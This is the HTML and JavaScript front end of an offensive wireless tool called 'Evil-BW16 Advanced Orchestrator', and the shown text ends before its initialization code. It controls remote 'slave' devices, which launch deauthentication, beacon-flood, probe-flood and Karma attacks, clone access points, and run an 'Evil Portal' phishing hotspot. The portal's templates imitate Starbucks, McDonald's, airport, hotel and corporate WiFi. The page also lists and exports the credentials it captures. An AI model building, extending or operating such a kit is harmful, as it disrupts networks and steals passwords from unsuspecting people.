Files
evil-bw16-orchestrator/data/web_ui/index.html
2025-07-19 06:48:49 -07:00

1358 lines
43 KiB
HTML

<!DOCTYPE html><html><head><title>Evil-BW16 Advanced Orchestrator</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<style>
:root {
--primary-green: #00ff41;
--primary-red: #ff004f;
--bg-dark: #0d0d0d;
--bg-card: #1a1a1a;
--bg-secondary: #111;
--border-color: #333;
--text-primary: #00ff41;
--text-secondary: #aaa;
--warning: #ff6666;
--success: #44ff44;
--info: #4444ff;
}
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: 'Courier New', monospace;
background: var(--bg-dark);
color: var(--text-primary);
line-height: 1.4;
overflow-x: hidden;
}
/* Header */
.header {
background: linear-gradient(135deg, var(--bg-card), var(--bg-secondary));
padding: 20px;
border-bottom: 2px solid var(--primary-red);
display: flex;
justify-content: space-between;
align-items: center;
flex-wrap: wrap;
}
.logo {
display: flex;
align-items: center;
gap: 15px;
}
.logo h1 {
color: var(--primary-red);
font-size: 24px;
text-shadow: 0 0 10px var(--primary-red);
animation: glow 2s infinite alternate;
}
@keyframes glow {
from { text-shadow: 0 0 5px var(--primary-red); }
to { text-shadow: 0 0 15px var(--primary-red); }
}
.system-status {
display: flex;
gap: 20px;
flex-wrap: wrap;
}
.status-item {
text-align: center;
padding: 10px;
background: var(--bg-secondary);
border: 1px solid var(--border-color);
border-radius: 5px;
min-width: 80px;
}
.status-value {
font-size: 18px;
font-weight: bold;
color: var(--success);
}
.status-label {
font-size: 12px;
color: var(--text-secondary);
}
/* Navigation */
.nav-container {
background: var(--bg-card);
border-bottom: 1px solid var(--border-color);
overflow-x: auto;
}
.nav {
display: flex;
min-width: 800px;
}
.nav-tab {
background: transparent;
border: none;
color: var(--text-primary);
padding: 15px 20px;
cursor: pointer;
border-bottom: 3px solid transparent;
transition: all 0.3s;
white-space: nowrap;
font-family: inherit;
}
.nav-tab:hover {
background: var(--bg-secondary);
border-bottom-color: var(--primary-green);
}
.nav-tab.active {
background: var(--bg-secondary);
border-bottom-color: var(--primary-red);
color: white;
}
/* Layout */
.container {
display: grid;
grid-template-columns: 1fr;
gap: 20px;
padding: 20px;
max-width: 1400px;
margin: 0 auto;
}
.grid-2 {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 20px;
}
.grid-3 {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
gap: 20px;
}
/* Cards */
.card {
background: var(--bg-card);
border: 1px solid var(--border-color);
border-radius: 8px;
padding: 20px;
transition: all 0.3s;
}
.card:hover {
border-color: var(--primary-green);
box-shadow: 0 0 15px rgba(0, 255, 65, 0.1);
}
.card-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 15px;
padding-bottom: 10px;
border-bottom: 1px solid var(--border-color);
}
.card-title {
color: var(--primary-red);
font-size: 18px;
font-weight: bold;
}
.card-badge {
background: var(--primary-red);
color: white;
padding: 4px 8px;
border-radius: 12px;
font-size: 12px;
}
/* Buttons */
button {
background: var(--bg-secondary);
color: var(--text-primary);
border: 1px solid var(--primary-green);
padding: 10px 15px;
margin: 5px;
cursor: pointer;
font-family: inherit;
border-radius: 4px;
transition: all 0.3s;
font-size: 14px;
}
button:hover {
background: var(--primary-green);
color: var(--bg-dark);
transform: translateY(-1px);
box-shadow: 0 4px 8px rgba(0, 255, 65, 0.3);
}
.btn-attack {
border-color: var(--warning);
color: var(--warning);
}
.btn-attack:hover {
background: var(--warning);
color: white;
}
.btn-danger {
border-color: var(--primary-red);
color: var(--primary-red);
}
.btn-danger:hover {
background: var(--primary-red);
color: white;
}
.btn-success {
border-color: var(--success);
color: var(--success);
}
.btn-success:hover {
background: var(--success);
color: var(--bg-dark);
}
/* Inputs */
input, select {
background: var(--bg-secondary);
color: var(--text-primary);
border: 1px solid var(--border-color);
padding: 10px;
font-family: inherit;
border-radius: 4px;
margin: 5px;
transition: all 0.3s;
}
input:focus, select:focus {
outline: none;
border-color: var(--primary-green);
box-shadow: 0 0 0 2px rgba(0, 255, 65, 0.2);
}
/* Statistics */
.stats-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 15px;
margin: 20px 0;
}
.stat-card {
background: var(--bg-secondary);
padding: 15px;
border-radius: 6px;
border-left: 4px solid var(--primary-green);
text-align: center;
}
.stat-value {
font-size: 24px;
font-weight: bold;
color: var(--success);
display: block;
}
.stat-label {
font-size: 12px;
color: var(--text-secondary);
margin-top: 5px;
}
.stat-change {
font-size: 11px;
margin-top: 5px;
}
.stat-up { color: var(--success); }
.stat-down { color: var(--warning); }
/* Charts */
.chart-container {
position: relative;
height: 300px;
margin: 20px 0;
}
/* Terminal */
#terminal {
background: var(--bg-dark);
height: 300px;
overflow-y: auto;
padding: 15px;
border: 1px solid var(--border-color);
white-space: pre-wrap;
font-size: 12px;
border-radius: 4px;
}
/* Slave Grid */
.slave-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
gap: 15px;
margin: 15px 0;
}
.slave-card {
background: var(--bg-secondary);
padding: 15px;
border-radius: 6px;
border: 1px solid var(--border-color);
transition: all 0.3s;
}
.slave-card.online {
border-left: 4px solid var(--success);
}
.slave-card.offline {
border-left: 4px solid var(--warning);
opacity: 0.7;
}
.slave-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 10px;
}
.slave-id {
font-weight: bold;
color: var(--text-primary);
}
.slave-status {
padding: 2px 6px;
border-radius: 10px;
font-size: 10px;
text-transform: uppercase;
}
.status-online {
background: var(--success);
color: var(--bg-dark);
}
.status-offline {
background: var(--warning);
color: white;
}
/* Network List */
.network-list {
max-height: 400px;
overflow-y: auto;
}
.network-item {
display: flex;
justify-content: between;
align-items: center;
padding: 10px;
border-bottom: 1px solid var(--border-color);
cursor: pointer;
transition: all 0.3s;
}
.network-item:hover {
background: var(--bg-secondary);
border-left: 3px solid var(--primary-green);
}
/* Credentials */
.credential-item {
background: var(--bg-secondary);
padding: 15px;
margin: 10px 0;
border-left: 3px solid var(--primary-red);
border-radius: 4px;
font-family: monospace;
font-size: 12px;
word-break: break-all;
}
/* Responsive */
@media (max-width: 768px) {
.grid-2, .grid-3 {
grid-template-columns: 1fr;
}
.header {
flex-direction: column;
gap: 15px;
}
.system-status {
justify-content: center;
}
.container {
padding: 10px;
}
}
/* Hidden content */
.tab-content {
display: none;
}
.tab-content.active {
display: block;
}
/* Loading states */
.loading {
opacity: 0.6;
pointer-events: none;
}
.pulse {
animation: pulse 1.5s infinite;
}
@keyframes pulse {
0% { opacity: 1; }
50% { opacity: 0.5; }
100% { opacity: 1; }
}
/* Progress bars */
.progress-bar {
width: 100%;
height: 20px;
background: var(--bg-secondary);
border-radius: 10px;
overflow: hidden;
margin: 10px 0;
}
.progress-fill {
height: 100%;
background: linear-gradient(90deg, var(--primary-green), var(--success));
transition: width 0.3s ease;
border-radius: 10px;
}
/* Notification */
.notification {
position: fixed;
top: 20px;
right: 20px;
background: var(--bg-card);
border: 1px solid var(--primary-green);
padding: 15px;
border-radius: 6px;
z-index: 1000;
transform: translateX(400px);
transition: transform 0.3s ease;
}
.notification.show {
transform: translateX(0);
}
</style>
</head><body>
<!-- Header -->
<div class="header">
<div class="logo">
<div>🔥</div>
<h1>Evil-BW16 Advanced Orchestrator</h1>
<div>v2.0</div>
</div>
<div class="system-status" id="systemStatus">
<div class="status-item">
<div class="status-value" id="uptime">0s</div>
<div class="status-label">UPTIME</div>
</div>
<div class="status-item">
<div class="status-value" id="slavesCount">0</div>
<div class="status-label">SLAVES</div>
</div>
<div class="status-item">
<div class="status-value" id="attacksCount">0</div>
<div class="status-label">ATTACKS</div>
</div>
<div class="status-item">
<div class="status-value" id="credentialsCount">0</div>
<div class="status-label">CREDENTIALS</div>
</div>
</div>
</div>
<!-- Navigation -->
<div class="nav-container">
<div class="nav">
<button class="nav-tab active" onclick="openTab(event, 'dashboard')">📊 Dashboard</button>
<button class="nav-tab" onclick="openTab(event, 'slaves')">🤖 Slave Control</button>
<button class="nav-tab" onclick="openTab(event, 'attacks')">⚔️ Attack Center</button>
<button class="nav-tab" onclick="openTab(event, 'portal')">📱 Evil Portal</button>
<button class="nav-tab" onclick="openTab(event, 'cloning')">🎭 AP Cloning</button>
<button class="nav-tab" onclick="openTab(event, 'credentials')">🔐 Credentials</button>
<button class="nav-tab" onclick="openTab(event, 'analytics')">📈 Analytics</button>
<button class="nav-tab" onclick="openTab(event, 'logs')">📝 Logs</button>
</div>
</div>
<!-- Dashboard Tab -->
<div id="dashboard" class="tab-content active">
<div class="container">
<!-- Live Statistics -->
<div class="card">
<div class="card-header">
<h3 class="card-title">📊 Live System Overview</h3>
<span class="card-badge pulse" id="liveIndicator">LIVE</span>
</div>
<div class="stats-grid" id="liveStats">
<!-- Live stats will be populated here -->
</div>
</div>
<!-- Charts Grid -->
<div class="grid-2">
<div class="card">
<div class="card-header">
<h3 class="card-title">📈 Attack Performance</h3>
</div>
<div class="chart-container">
<canvas id="attackChart"></canvas>
</div>
</div>
<div class="card">
<div class="card-header">
<h3 class="card-title">🔗 BLE Connection Health</h3>
</div>
<div class="chart-container">
<canvas id="bleChart"></canvas>
</div>
</div>
</div>
<!-- System Health Cards -->
<div class="grid-3">
<div class="card">
<div class="card-header">
<h3 class="card-title">🔋 System Health</h3>
</div>
<div id="systemHealth">
<!-- System health metrics -->
</div>
</div>
<div class="card">
<div class="card-header">
<h3 class="card-title">📡 Network Coverage</h3>
</div>
<div id="networkCoverage">
<!-- Network coverage stats -->
</div>
</div>
<div class="card">
<div class="card-header">
<h3 class="card-title">🎯 Attack Efficiency</h3>
</div>
<div id="attackEfficiency">
<!-- Attack efficiency metrics -->
</div>
</div>
</div>
</div>
</div>
<!-- Slave Control Tab -->
<div id="slaves" class="tab-content">
<div class="container">
<div class="card">
<div class="card-header">
<h3 class="card-title">🤖 Slave Network</h3>
<span class="card-badge" id="slaveCount">0 Connected</span>
</div>
<div class="slave-grid" id="slaveGrid">
<!-- Slave cards will be populated here -->
</div>
</div>
</div>
</div>
<!-- Attack Center Tab -->
<div id="attacks" class="tab-content">
<div class="container">
<div class="grid-2">
<div class="card">
<div class="card-header">
<h3 class="card-title">⚔️ Distributed Attacks</h3>
</div>
<div style="display: grid; gap: 10px;">
<button onclick="sendCmd('distributed_deauth')" class="btn-attack">🚀 Distributed Deauth</button>
<button onclick="sendCmd('deauth_2g_all')" class="btn-attack">📡 2.4GHz Deauth</button>
<button onclick="sendCmd('deauth_5g_all')" class="btn-attack">📶 5GHz Deauth</button>
<input id='beacon_flood_ssid' placeholder='SSID for beacon flood' style="margin: 10px 0;">
<button onclick="sendCmd('beacon_flood ' + document.getElementById('beacon_flood_ssid').value)" class="btn-attack">🌊 Beacon Flood</button>
<button onclick="sendCmd('probe_flood')" class="btn-attack">📡 Probe Flood</button>
<button onclick="sendCmd('karma_attack')" class="btn-attack">👻 Karma Attack</button>
<button onclick="sendCmd('stop deauther')" class="btn-danger">🛑 Stop All Attacks</button>
</div>
</div>
<div class="card">
<div class="card-header">
<h3 class="card-title">📊 Attack Status</h3>
</div>
<div id="attackStatus">
<!-- Attack status info -->
</div>
</div>
</div>
<div class="card">
<div class="card-header">
<h3 class="card-title">🎯 Target Management</h3>
</div>
<button onclick="sendCmd('scan')" class="btn-success">🔍 Scan Networks</button>
<input id='target_indices' placeholder='Target indices (e.g. 1,2,3)' style="width: 300px;">
<button onclick="sendCmd('target ' + document.getElementById('target_indices').value)">Set Targets</button>
</div>
</div>
</div>
<!-- Evil Portal Tab -->
<div id="portal" class="tab-content">
<div class="container">
<div class="grid-2">
<div class="card">
<div class="card-header">
<h3 class="card-title">📱 Portal Configuration</h3>
</div>
<div class="portal-status" id="portalStatus">
<p><strong>Status:</strong> <span id="portalStatusText">Unknown</span></p>
<p><strong>SSID:</strong> <span id="currentPortalSSID">Not Set</span></p>
<p><strong>IP:</strong> 192.168.5.1</p>
</div>
<hr style="margin: 15px 0; border-color: var(--border-color);">
<input id="portal_ssid" value="Free WiFi" style="width: 100%; margin-bottom: 10px;">
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 10px;">
<button onclick="updatePortalSSID()" class="btn-success">📝 Update SSID</button>
<button onclick="sendCmd('enable_portal')" class="btn-success">🟢 Enable Portal</button>
</div>
<button onclick="sendCmd('disable_portal')" class="btn-danger" style="width: 100%; margin-top: 10px;">🔴 Disable Portal</button>
</div>
<div class="card">
<div class="card-header">
<h3 class="card-title">📊 Portal Statistics</h3>
</div>
<div id="portalStats">
<!-- Portal statistics -->
</div>
</div>
</div>
<div class="card">
<div class="card-header">
<h3 class="card-title">🎨 Quick Templates</h3>
</div>
<div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); gap: 10px;">
<button onclick="setPortalTemplate('Free WiFi')">🆓 Free WiFi</button>
<button onclick="setPortalTemplate('Hotel_Guest')">🏨 Hotel Guest</button>
<button onclick="setPortalTemplate('Airport_WiFi')">✈️ Airport WiFi</button>
<button onclick="setPortalTemplate('Starbucks_WiFi')">☕ Starbucks</button>
<button onclick="setPortalTemplate('McDonalds_WiFi')">🍟 McDonald's</button>
<button onclick="setPortalTemplate('Corporate_WiFi')">🏢 Corporate</button>
</div>
</div>
</div>
</div>
<!-- AP Cloning Tab -->
<div id="cloning" class="tab-content">
<div class="container">
<div class="card">
<div class="card-header">
<h3 class="card-title">🎭 AP Cloning & Impersonation</h3>
</div>
<button onclick="sendCmd('scan_aps')" class="btn-success">🔍 Scan Access Points</button>
<div class="network-list" id="aplist">
<!-- AP list will be populated here -->
</div>
</div>
</div>
</div>
<!-- Credentials Tab -->
<div id="credentials" class="tab-content">
<div class="container">
<div class="card">
<div class="card-header">
<h3 class="card-title">🔐 Captured Credentials</h3>
<span class="card-badge" id="credCount">0</span>
</div>
<div style="display: flex; gap: 10px; margin-bottom: 15px;">
<button onclick="refreshCredentials()" class="btn-success">🔄 Refresh</button>
<button onclick="clearCredentials()" class="btn-danger">🗑️ Clear All</button>
<button onclick="exportCredentials()">💾 Export</button>
</div>
<div id="credentialsList">
<p>No credentials captured yet. Enable the evil portal to start capturing.</p>
</div>
</div>
</div>
</div>
<!-- Analytics Tab -->
<div id="analytics" class="tab-content">
<div class="container">
<div class="grid-2">
<div class="card">
<div class="card-header">
<h3 class="card-title">📈 Performance Trends</h3>
</div>
<div class="chart-container">
<canvas id="trendsChart"></canvas>
</div>
</div>
<div class="card">
<div class="card-header">
<h3 class="card-title">🔄 Success Rates</h3>
</div>
<div class="chart-container">
<canvas id="successChart"></canvas>
</div>
</div>
</div>
<div class="card">
<div class="card-header">
<h3 class="card-title">📊 Detailed Statistics</h3>
</div>
<div id="detailedStats">
<!-- Detailed statistics will be populated here -->
</div>
</div>
</div>
</div>
<!-- Logs Tab -->
<div id="logs" class="tab-content">
<div class="container">
<div class="card">
<div class="card-header">
<h3 class="card-title">📝 System Logs</h3>
<button onclick="clearLogs()" class="btn-danger">🗑️ Clear</button>
</div>
<div id="terminal"></div>
</div>
</div>
</div>
<!-- Notification area -->
<div id="notification" class="notification">
<div id="notificationText"></div>
</div>
<script>
let globalStats = {};
let charts = {};
let updateInterval;
// Core Communication Functions
function sendCmd(cmd) {
showNotification(`Executing: ${cmd}`, 'info');
const targets = [...document.querySelectorAll("input.slave:checked")].map(cb => cb.value);
fetch("/cmd", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ cmd, targets })
})
.then(response => {
if (response.ok) {
showNotification(`Command executed: ${cmd}`, 'success');
} else {
showNotification(`Command failed: ${cmd}`, 'error');
}
})
.catch(error => {
console.error('Error sending command:', error);
showNotification(`Error: ${error.message}`, 'error');
});
}
// Tab Management
function openTab(evt, tabName) {
var tabContents = document.getElementsByClassName("tab-content");
for (var i = 0; i < tabContents.length; i++) {
tabContents[i].classList.remove("active");
}
var navTabs = document.getElementsByClassName("nav-tab");
for (var i = 0; i < navTabs.length; i++) {
navTabs[i].classList.remove("active");
}
document.getElementById(tabName).classList.add("active");
evt.currentTarget.classList.add("active");
// Load tab-specific content
if (tabName === 'analytics') loadAnalytics();
if (tabName === 'credentials') refreshCredentials();
if (tabName === 'cloning') updateApList();
}
// Statistics and Status Updates
function updateSystemStatus() {
fetch("/stats")
.then(response => response.json())
.then(stats => {
globalStats = stats;
updateHeaderStatus(stats);
updateDashboard(stats);
updateSlaveGrid(stats);
updateAttackStatus(stats);
updatePortalStats(stats);
})
.catch(error => console.error('Error fetching stats:', error));
}
function updateHeaderStatus(stats) {
document.getElementById('uptime').textContent = formatUptime(stats.system?.uptime || 0);
document.getElementById('slavesCount').textContent = stats.slaves?.connected || 0;
document.getElementById('attacksCount').textContent = stats.attacks?.totalLaunched || 0;
document.getElementById('credentialsCount').textContent = stats.portal?.credentialsCaptured || 0;
}
function updateDashboard(stats) {
if (!document.getElementById('dashboard').classList.contains('active')) return;
// Live Statistics
const liveStatsHTML = `
<div class="stat-card">
<span class="stat-value">${stats.live?.attacksPerMinute?.toFixed(1) || 0}</span>
<div class="stat-label">Attacks/Min</div>
</div>
<div class="stat-card">
<span class="stat-value">${stats.live?.credentialsPerHour?.toFixed(1) || 0}</span>
<div class="stat-label">Creds/Hour</div>
</div>
<div class="stat-card">
<span class="stat-value">${stats.system?.freeHeap || 0}</span>
<div class="stat-label">Free RAM (B)</div>
</div>
<div class="stat-card">
<span class="stat-value">${stats.ble?.successRate?.toFixed(1) || 0}%</span>
<div class="stat-label">BLE Success</div>
</div>
<div class="stat-card">
<span class="stat-value">${stats.network?.networksScanned || 0}</span>
<div class="stat-label">Networks Found</div>
</div>
<div class="stat-card">
<span class="stat-value">${stats.attacks?.framesTransmitted || 0}</span>
<div class="stat-label">Frames Sent</div>
</div>
`;
document.getElementById('liveStats').innerHTML = liveStatsHTML;
// System Health
const systemHealthHTML = `
<div class="stat-card">
<span class="stat-value">${stats.system?.cpuUsage || 0}%</span>
<div class="stat-label">CPU Usage</div>
</div>
<div class="progress-bar">
<div class="progress-fill" style="width: ${stats.system?.cpuUsage || 0}%"></div>
</div>
<div class="stat-card">
<span class="stat-value">${formatBytes(stats.system?.freeHeap || 0)}</span>
<div class="stat-label">Available Memory</div>
</div>
`;
document.getElementById('systemHealth').innerHTML = systemHealthHTML;
// Network Coverage
const networkCoverageHTML = `
<div class="stat-card">
<span class="stat-value">${stats.network?.channels2ghz || 0}</span>
<div class="stat-label">2.4GHz Channels</div>
</div>
<div class="stat-card">
<span class="stat-value">${stats.network?.channels5ghz || 0}</span>
<div class="stat-label">5GHz Channels</div>
</div>
<div class="stat-card">
<span class="stat-value">${stats.network?.avgSignalStrength?.toFixed(1) || 0} dBm</span>
<div class="stat-label">Avg Signal</div>
</div>
`;
document.getElementById('networkCoverage').innerHTML = networkCoverageHTML;
// Attack Efficiency
const attackEfficiencyHTML = `
<div class="stat-card">
<span class="stat-value">${stats.attacks?.successfulTargets || 0}</span>
<div class="stat-label">Targets Hit</div>
</div>
<div class="stat-card">
<span class="stat-value">${stats.attacks?.avgDuration?.toFixed(1) || 0}s</span>
<div class="stat-label">Avg Duration</div>
</div>
<div class="stat-card">
<span class="stat-value">${((stats.attacks?.successfulTargets || 0) / (stats.attacks?.totalLaunched || 1) * 100).toFixed(1)}%</span>
<div class="stat-label">Success Rate</div>
</div>
`;
document.getElementById('attackEfficiency').innerHTML = attackEfficiencyHTML;
updateCharts(stats);
}
function updateSlaveGrid(stats) {
if (!stats.slaveDetails) return;
let slaveHTML = '';
stats.slaveDetails.forEach(slave => {
const statusClass = slave.connected ? 'online' : 'offline';
const statusText = slave.connected ? 'ONLINE' : 'OFFLINE';
const lastSeen = Math.floor((Date.now() - slave.lastSeen) / 1000);
slaveHTML += `
<div class="slave-card ${statusClass}">
<div class="slave-header">
<div class="slave-id">${slave.id}</div>
<span class="slave-status status-${statusClass}">${statusText}</span>
</div>
<div style="font-size: 12px; color: var(--text-secondary);">
<div>RSSI: ${slave.rssi} dBm</div>
<div>Last Seen: ${lastSeen}s ago</div>
<div>Firmware: ${slave.firmware}</div>
<div>Uptime: ${formatUptime(slave.uptime)}</div>
</div>
<label style="display: flex; align-items: center; margin-top: 10px;">
<input type="checkbox" class="slave" value="${slave.id}" style="margin-right: 10px;">
Select for attacks
</label>
</div>
`;
});
document.getElementById('slaveGrid').innerHTML = slaveHTML || '<p>No slaves detected. Ensure slave devices are powered on and in range.</p>';
document.getElementById('slaveCount').textContent = `${stats.slaves?.connected || 0} Connected`;
}
function updateAttackStatus(stats) {
const attackStatusHTML = `
<div class="stats-grid">
<div class="stat-card">
<span class="stat-value">${stats.attacks?.totalLaunched || 0}</span>
<div class="stat-label">Total Attacks</div>
</div>
<div class="stat-card">
<span class="stat-value">${stats.attacks?.distributedAttacks || 0}</span>
<div class="stat-label">Distributed</div>
</div>
<div class="stat-card">
<span class="stat-value">${stats.attacks?.deauthAttacks || 0}</span>
<div class="stat-label">Deauth</div>
</div>
<div class="stat-card">
<span class="stat-value">${stats.attacks?.beaconFloods || 0}</span>
<div class="stat-label">Beacon Floods</div>
</div>
</div>
<div style="margin-top: 15px;">
<strong>Success Rate:</strong> ${((stats.attacks?.successfulTargets || 0) / (stats.attacks?.totalLaunched || 1) * 100).toFixed(1)}%
</div>
`;
document.getElementById('attackStatus').innerHTML = attackStatusHTML;
}
function updatePortalStats(stats) {
const portal = stats.portal || {};
document.getElementById('portalStatusText').textContent = portal.enabled ? 'ACTIVE' : 'INACTIVE';
const portalStatsHTML = `
<div class="stats-grid">
<div class="stat-card">
<span class="stat-value">${portal.sessions || 0}</span>
<div class="stat-label">Sessions</div>
</div>
<div class="stat-card">
<span class="stat-value">${portal.visitors || 0}</span>
<div class="stat-label">Visitors</div>
</div>
<div class="stat-card">
<span class="stat-value">${portal.credentialsCaptured || 0}</span>
<div class="stat-label">Captured</div>
</div>
<div class="stat-card">
<span class="stat-value">${portal.captureRate?.toFixed(1) || 0}%</span>
<div class="stat-label">Capture Rate</div>
</div>
</div>
`;
document.getElementById('portalStats').innerHTML = portalStatsHTML;
}
// Chart Management
function initializeCharts() {
// Attack Performance Chart
const attackCtx = document.getElementById('attackChart').getContext('2d');
charts.attack = new Chart(attackCtx, {
type: 'line',
data: {
labels: [],
datasets: [{
label: 'Attacks per Minute',
data: [],
borderColor: '#00ff41',
backgroundColor: 'rgba(0, 255, 65, 0.1)',
tension: 0.4
}]
},
options: {
responsive: true,
maintainAspectRatio: false,
scales: {
y: { beginAtZero: true }
},
plugins: {
legend: { labels: { color: '#00ff41' } }
}
}
});
// BLE Connection Chart
const bleCtx = document.getElementById('bleChart').getContext('2d');
charts.ble = new Chart(bleCtx, {
type: 'doughnut',
data: {
labels: ['Successful', 'Failed'],
datasets: [{
data: [0, 0],
backgroundColor: ['#44ff44', '#ff4444']
}]
},
options: {
responsive: true,
maintainAspectRatio: false,
plugins: {
legend: { labels: { color: '#00ff41' } }
}
}
});
// Initialize other charts for analytics tab
const trendsCtx = document.getElementById('trendsChart').getContext('2d');
charts.trends = new Chart(trendsCtx, {
type: 'bar',
data: {
labels: ['Deauth', 'Beacon', 'Probe', 'Karma', 'Distributed'],
datasets: [{
label: 'Attack Count',
data: [0, 0, 0, 0, 0],
backgroundColor: ['#ff4444', '#ff6644', '#ffaa44', '#44ff44', '#4444ff']
}]
},
options: {
responsive: true,
maintainAspectRatio: false,
plugins: {
legend: { labels: { color: '#00ff41' } }
}
}
});
const successCtx = document.getElementById('successChart').getContext('2d');
charts.success = new Chart(successCtx, {
type: 'polarArea',
data: {
labels: ['BLE Success', 'Attack Success', 'Portal Capture'],
datasets: [{
data: [0, 0, 0],
backgroundColor: ['#44ff44', '#ff6644', '#4444ff']
}]
},
options: {
responsive: true,
maintainAspectRatio: false,
plugins: {
legend: { labels: { color: '#00ff41' } }
}
}
});
}
function updateCharts(stats) {
// Update Attack Chart
if (charts.attack) {
charts.attack.data.datasets[0].data.push(stats.live?.attacksPerMinute || 0);
charts.attack.data.labels.push(new Date().toLocaleTimeString());
if (charts.attack.data.labels.length > 20) {
charts.attack.data.labels.shift();
charts.attack.data.datasets[0].data.shift();
}
charts.attack.update();
}
// Update BLE Chart
if (charts.ble) {
charts.ble.data.datasets[0].data = [
stats.ble?.connectionSuccesses || 0,
stats.ble?.connectionFailures || 0
];
charts.ble.update();
}
// Update Analytics Charts
if (charts.trends) {
charts.trends.data.datasets[0].data = [
stats.attacks?.deauthAttacks || 0,
stats.attacks?.beaconFloods || 0,
stats.attacks?.probeFloods || 0,
stats.attacks?.karmaAttacks || 0,
stats.attacks?.distributedAttacks || 0
];
charts.trends.update();
}
if (charts.success) {
charts.success.data.datasets[0].data = [
stats.ble?.successRate || 0,
((stats.attacks?.successfulTargets || 0) / (stats.attacks?.totalLaunched || 1) * 100),
stats.portal?.captureRate || 0
];
charts.success.update();
}
}
// Portal Functions
function updatePortalSSID() {
const ssid = document.getElementById('portal_ssid').value;
sendCmd('set_ssid ' + ssid);
document.getElementById('currentPortalSSID').textContent = ssid;
}
function setPortalTemplate(template) {
document.getElementById('portal_ssid').value = template;
updatePortalSSID();
}
// Credential Management
function refreshCredentials() {
fetch("/cmd", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ cmd: "get_credentials", targets: [] })
})
.then(response => response.json())
.then(credentials => {
const credList = document.getElementById('credentialsList');
document.getElementById('credCount').textContent = credentials.length;
if (credentials.length === 0) {
credList.innerHTML = '<p>No credentials captured yet.</p>';
} else {
credList.innerHTML = `<h4>Captured Credentials (${credentials.length}):</h4>`;
credentials.forEach((cred, index) => {
const credDiv = document.createElement('div');
credDiv.className = 'credential-item';
credDiv.innerHTML = `<strong>#${index + 1}:</strong> ${cred}`;
credList.appendChild(credDiv);
});
}
})
.catch(error => console.error('Error fetching credentials:', error));
}
function clearCredentials() {
if (confirm('Are you sure you want to clear all captured credentials?')) {
sendCmd('clear_credentials');
document.getElementById('credentialsList').innerHTML = '<p>Credentials cleared.</p>';
document.getElementById('credCount').textContent = '0';
}
}
function exportCredentials() {
fetch("/cmd", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ cmd: "get_credentials", targets: [] })
})
.then(response => response.json())
.then(credentials => {
if (credentials.length > 0) {
const dataStr = credentials.join('\n');
const dataBlob = new Blob([dataStr], {type: 'text/plain'});
const url = URL.createObjectURL(dataBlob);
const link = document.createElement('a');
link.href = url;
link.download = 'evil_bw16_credentials_' + new Date().toISOString().slice(0,10) + '.txt';
link.click();
URL.revokeObjectURL(url);
showNotification('Credentials exported successfully', 'success');
} else {
showNotification('No credentials to export', 'warning');
}
})
.catch(error => console.error('Error exporting credentials:', error));
}
// AP List Management
function updateApList() {
fetch("/ap_list")
.then(response => response.json())
.then(aps => {
const apListDiv = document.getElementById('aplist');
apListDiv.innerHTML = '<h4>Click AP to Clone:</h4>';
aps.forEach(ap => {
const parts = ap.split(',');
const apDiv = document.createElement('div');
apDiv.className = 'network-item';
apDiv.innerHTML = `
<div>
<strong>${parts[0]}</strong><br>
<small>BSSID: ${parts[1]} | Channel: ${parts[2]}</small>
</div>
`;
apDiv.onclick = () => {
sendCmd(`clone_ap,${parts[0]},${parts[1]},${parts[2]}`);
showNotification(`Cloning AP: ${parts[0]}`, 'info');
};
apListDiv.appendChild(apDiv);
});
})
.catch(error => console.error('Error fetching AP list:', error));
}
// Log Management
function updateLogs() {
fetch("/logs")
.then(response => response.text())
.then(logs => {
document.getElementById('terminal').innerText = logs;
const terminal = document.getElementById('terminal');
terminal.scrollTop = terminal.scrollHeight;
})
.catch(error => console.error('Error fetching logs:', error));
}
function clearLogs() {
if (confirm('Clear all logs?')) {
document.getElementById('terminal').innerText = '';
}
}
// Analytics
function loadAnalytics() {
if (!globalStats.system) return;
const detailedStatsHTML = `
<div class="stats-grid">
<div class="stat-card">
<span class="stat-value">${globalStats.system?.uptime || 0}</span>
<div class="stat-label">System Uptime (ms)</div>
</div>
<div class="stat-card">
<span class="stat-value">${globalStats.ble?.totalMessages || 0}</span>
<div class="stat-label">Total BLE Messages</div>
</div>
<div class="stat-card">
<span class="stat-value">${globalStats.ble?.avgLatency?.toFixed(2) || 0}ms</span>
<div class="stat-label">Avg BLE Latency</div>
</div>
<div class="stat-card">
<span class="stat-value">${globalStats.network?.uniqueFound || 0}</span>
<div class="stat-label">Unique Networks</div>
</div>
<div class="stat-card">
<span class="stat-value">${globalStats.attacks?.framesTransmitted || 0}</span>
<div class="stat-label">Frames Transmitted</div>
</div>
<div class="stat-card">
<span class="stat-value">${globalStats.slaves?.avgResponseTime?.toFixed(2) || 0}ms</span>
<div class="stat-label">Avg Response Time</div>
</div>
</div>
`;
document.getElementById('detailedStats').innerHTML = detailedStatsHTML;
}
// Utility Functions
function formatUptime(ms) {
const seconds = Math.floor(ms / 1000);
const minutes = Math.floor(seconds / 60);
const hours = Math.floor(minutes / 60);
const days = Math.floor(hours / 24);
if (days > 0) return `${days}d ${hours % 24}h`;
if (hours > 0) return `${hours}h ${minutes % 60}m`;
if (minutes > 0) return `${minutes}m ${seconds % 60}s`;
return `${seconds}s`;
}
function formatBytes(bytes) {
if (bytes === 0) return '0 B';
const k = 1024;
const sizes = ['B', 'KB', 'MB', 'GB'];
const i = Math.floor(Math.log(bytes) / Math.log(k));
return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
}
function showNotification(message, type = 'info') {
const notification = document.getElementById('notification');
const notificationText = document.getElementById('notificationText');
notificationText.textContent = message;
notification.className = `notification ${type}`;
notification.classList.add('show');
setTimeout(() => {
notification.classList.remove('show');
}, 3000);
}
// Initialize Application
